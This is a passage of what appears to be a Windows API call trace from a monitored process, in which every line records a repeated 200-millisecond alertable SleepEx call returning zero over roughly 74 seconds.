	[0164.704] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0164.907] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0165.110] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0165.313] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0165.524] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0165.720] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0165.922] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0166.123] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0166.327] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0166.529] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0166.806] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0166.999] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0167.200] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0167.403] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0167.609] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0167.824] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0168.028] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0168.230] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0168.432] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0168.635] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0168.847] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0169.048] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0169.244] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0169.447] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0169.649] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0169.852] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0170.055] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0170.258] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0170.461] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0170.664] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0170.869] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0171.071] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0171.274] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0171.475] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0171.677] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0171.881] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0172.084] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0172.287] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0172.489] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0172.691] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0172.894] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0173.097] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0173.299] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0173.502] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0173.705] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0173.908] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0174.111] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0174.314] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0174.518] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0174.721] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0174.922] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0175.125] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0175.338] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0175.549] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0175.782] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0175.983] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0176.187] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0176.388] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0176.591] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0176.809] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0176.998] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0177.202] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0177.403] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0177.605] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0177.809] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0178.028] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0178.229] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0178.433] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0178.635] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0178.838] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0179.040] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0179.249] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0179.447] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0179.650] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0179.852] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0180.055] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0180.257] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0180.460] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0180.664] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0180.881] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0181.099] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0181.302] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0181.505] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0181.709] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0181.911] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0182.125] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0182.348] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0182.550] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0182.873] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0183.065] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0183.268] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0183.471] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0183.673] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0183.892] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0184.097] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0184.300] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0184.501] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0184.704] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0184.906] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0185.112] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0185.322] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0185.536] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0185.752] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0185.952] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0186.154] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0186.357] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0186.568] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0186.813] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0187.012] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0187.215] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0187.419] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0187.622] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0187.824] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0188.026] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0188.229] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0188.436] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0188.645] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0188.837] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0189.040] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0189.243] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0189.446] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0189.654] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0189.852] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0190.054] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0190.266] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0190.469] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0190.680] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0190.881] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0191.084] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0191.287] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0191.489] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0191.692] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0191.895] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0192.208] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0193.206] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0193.428] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0193.627] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0193.847] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0194.060] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0194.251] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0194.454] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0194.697] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0194.890] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0195.093] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0195.304] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0195.499] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0195.701] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0195.906] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0196.108] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0196.310] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0196.514] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0196.715] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0196.918] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0197.122] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0197.330] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0197.526] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0197.730] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0197.933] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0198.136] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0198.338] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0198.541] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0198.743] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0198.946] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0199.154] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0199.352] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0199.555] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0199.757] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0199.960] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0200.163] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0200.366] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0200.569] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0200.791] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0201.020] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0201.208] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0201.411] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0201.614] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0201.870] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0202.075] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0202.269] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0202.471] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0202.675] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0202.879] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0203.081] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0203.286] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0203.514] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0203.704] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0203.907] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0204.110] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0204.315] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0204.520] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0204.718] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0204.956] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0205.168] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0205.364] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0205.573] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0205.764] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0205.966] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0206.170] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0206.372] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0206.575] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0206.777] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0206.980] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0207.183] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0207.386] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0207.588] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0207.791] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0207.994] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0208.197] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0208.400] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0208.602] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0208.808] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0209.008] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0209.211] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0209.414] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0209.617] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0209.820] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0210.022] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0210.225] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0210.428] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0210.652] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0210.850] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0211.055] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0211.255] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0211.457] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0211.660] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0211.863] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0212.066] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0212.278] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0212.473] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0212.690] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0212.892] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0213.096] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0213.299] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0213.503] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0213.704] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0213.907] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0214.109] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0214.312] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0214.515] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0214.717] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0214.921] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0215.124] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0215.326] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0215.529] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0215.732] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0215.938] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0216.137] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0216.362] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0216.559] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0216.761] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0216.964] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0217.167] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0217.370] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0217.580] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0217.775] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0217.978] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0218.181] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0218.414] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0218.604] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0218.805] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0219.013] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0219.210] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0219.413] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0219.616] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0219.819] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0220.022] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0220.224] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0220.427] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0220.662] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0220.864] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0221.067] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0221.270] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0221.473] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0221.675] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0221.894] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0222.102] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0222.302] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0222.502] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0222.705] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0222.919] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0223.111] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0223.347] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0223.547] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0223.752] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0223.953] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0224.219] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0224.422] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0224.677] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0224.887] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0225.076] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0225.287] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0225.488] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0225.718] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0225.927] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0226.122] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0226.325] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0226.527] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0226.730] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0226.932] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0227.170] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0227.369] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0227.572] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0227.784] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0227.977] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0228.181] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0228.383] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0228.587] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0228.789] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0228.992] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0229.194] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0229.398] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0229.600] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0229.803] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0230.047] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0230.239] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0230.448] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0230.648] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0230.853] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0231.051] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0231.254] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0231.470] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0231.670] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0231.863] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0232.065] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0232.267] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0232.470] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0232.673] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0232.876] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0233.094] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0233.297] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0233.500] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0233.709] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0233.914] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0234.115] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0234.323] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0234.573] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0234.774] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0234.966] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0235.173] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0235.373] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0235.591] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0235.793] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0235.996] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0236.199] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0236.411] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0236.604] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0236.807] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0237.010] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0237.213] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0237.416] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0237.618] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0237.845] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0238.039] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0238.243] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0238.453] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0238.658] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
	[0238.851] SleepEx (dwMilliseconds=0xc8, bAlertable=1) returned 0x0
